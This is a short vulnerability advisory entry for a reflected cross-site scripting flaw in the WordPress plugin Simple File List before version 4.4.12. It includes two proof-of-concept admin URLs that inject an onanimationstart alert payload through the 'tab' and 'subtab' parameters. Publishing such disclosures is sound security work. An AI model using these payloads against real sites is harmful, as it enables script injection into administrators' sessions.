Lucene search

K
wpexploitRaad Haddad of Cloudyrion GmbHWPEX-ID:2E829BBE-1843-496D-A852-4150FA6D1F7A
HistoryAug 30, 2022 - 12:00 a.m.

Simple File List < 4.4.12 - Reflected Cross-Site Scripting

2022-08-3000:00:00
Raad Haddad of Cloudyrion GmbH
208
file list
reflected cross-site scripting
simple file list
example.com
exploit

EPSS

0.001

Percentile

43.5%

The plugin does not escape parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting

https://example.com/wp-admin/admin.php?page=ee-simple-file-list&tab="style=animation-name:rotation+onanimationstart=alert(/XSS/)//

https://example.com/wp-admin/?page=ee-simple-file-list&tab=settings&subtab="style=animation-name:rotation+onanimationstart=alert(/XSS/)//

EPSS

0.001

Percentile

43.5%

Related for WPEX-ID:2E829BBE-1843-496D-A852-4150FA6D1F7A